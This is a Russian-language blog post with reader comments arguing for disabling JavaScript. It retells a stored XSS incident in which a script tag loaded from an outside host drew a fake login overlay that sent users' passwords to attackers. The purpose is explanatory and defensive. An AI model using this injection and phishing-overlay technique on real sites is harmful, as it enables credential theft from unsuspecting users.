nataraj: (Бритый небритый)
[personal profile] nataraj
Вот в предыдущем посте некоторые сказали что-то вроде "зачем отключать JavaScript, если я на адресную строку в браузере каждый раз смотрю, прежде чем вводить пароль".

А вот зачем

Краткий пересказ: В одном весьма популярном сайте на ранних этапах его становления была допущена совсем мелкая ошибка. Они к стандартным параметрам пользователя, которые были в используемом движке, добавили еще один свой, диктуемый предметной областью сайта, и стали выводить его вместе с другой юзерской информацией в каждом посте и комментарии. Нюанс в том, что информация из базы данных попадала в браузер без какой-то фильтрации, и если в это поле запихнуть html-тег то в бразуер будет попадать как html-тег. Вроде бы не особо страшно... Но теперь следите за руками:

В оное поле запихиваем <script src="http://tsq.od"></script>, по оному адресу отдаем файл с ява-скриптом, который создает новый <div>перекрывающий весь экран, рисует на нем форму ввода пароля полностью совпадающую с той, которая есть на сайте, но только результат введенный в эту форму отправляется на сайт злоумышленника. Ну и для полного счастья, этот скрипт ставит куку, чтобы одному и тому же пользователю этот фальшивый экран не показывался бы дважды. Далее пишем в несколько популярных тем комментарий от имени пользователя с троянским кастомным полем и ждем.

Итого юные исследователи насобирали несколько сотен паролей, среди которых оказались пароли пользователей с полным админским доступом...

Отдельно прошу отметить: в адресной строке браузера показывался правильный адрес.

Выводы:

1. Если вы хотите повысить уровень безопасности работы с каким-либо сайтом (например вы в нем супер-модератор или админ) -- отключайте для этого сайта скрипты.

2. Если вы разработчик сайта -- не поленитесь, приложите усилия для того, чтобы ваша разработка была достаточно юзабельна с выключенным JavaScript. Чтобы те, кто заботится о своей безопасности, могли бы это сделать. В любом коде есть баги. Отключение JavaScript делает эксплуатацию части из них невозможной... Оно того стоит.

И опять ссылки:
NotScript для Хрома: https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn
NoScript для FireFox'а: https://addons.mozilla.org/ru/firefox/addon/noscript/

Date: 2013-03-27 06:45 am (UTC)
ext_613079: Default userpic (Бритый небритый)
From: [identity profile] shaplov.livejournal.com
Если ссылка на статью уйдет из кеша яндекса -- пинайте, у меня есть приныканная копия...

Date: 2013-03-27 07:14 am (UTC)
vitus_wagner: My photo 2005 (white)
From: [personal profile] vitus_wagner
Это всё борьба с ветряными мельницами. Пользователь хочет, чтобы оно мерцало и переливалось, и оно будет мерцать и переливаться, к каким бы уязвимостям это ни приводило.

Я уж скорее поверю в то, что можно научить веб-разработчиков правильно санитизировать user-provided content, чем в то, что кто-то серьезно будет бороться за работу без JS.


А сейчас еще пошла мода на мобильные приложения-клиенты для сайтов - там вообще весело будет с уязвимостями - там можно унести у юзера его записную книжку, перевести деньги со счета у оператора куда хочешь с помощью платных SMS-ок, заснять внутренности его дома видеокамерой etc.

Date: 2013-03-27 07:31 am (UTC)
From: [identity profile] slobin.livejournal.com
Самое мерзкое в современных сайтах не то, что они не работают без яваскрипта, а то, что по ним не очевидно, работают ли они без яваскрипта. Когда сайт пишет "я без яваскрипта работать не буду, включи!", это хороший, годный сайт. А когда я даже не знаю, насколько доступный мне функционал урезан по сравнению с пользователями без NoScript (причём урезан не по уму, а так случайно написалось) -- вот это засада. :-(

... Ну как ты в приличном обществе покажешь на пальцах число 132? ...

Date: 2013-03-27 08:03 am (UTC)
From: [identity profile] alexkuklin.livejournal.com
откуда у html-браузера доступ к контактам?
прямой доступ к звонилке и sms уже сейчас считается именно что уязвимостью и должен быть откручен при очередном апдейте.

Date: 2013-03-27 08:06 am (UTC)
vitus_wagner: My photo 2005 (white)
From: [personal profile] vitus_wagner
Не у HTML-браузера а у устанавливаемого на смартфон приложения для работы с сайтом. Причем не просто устаннавливаемого, а предустановленного производителем телефона и неудаляемого без нарушения гарантии.

Date: 2013-03-27 08:07 am (UTC)
From: [identity profile] kosenko-danila.livejournal.com
Терпеть не могу сайты, не работающие без JS.

Profile

nataraj: (Default)
Swami Dhyan Nataraj

July 2024

S M T W T F S
 123456
789 10111213
14151617181920
21222324252627
28293031   

Most Popular Tags

Style Credit

Expand Cut Tags

No cut tags
Page generated Mar. 12th, 2026 12:02 am
Powered by Dreamwidth Studios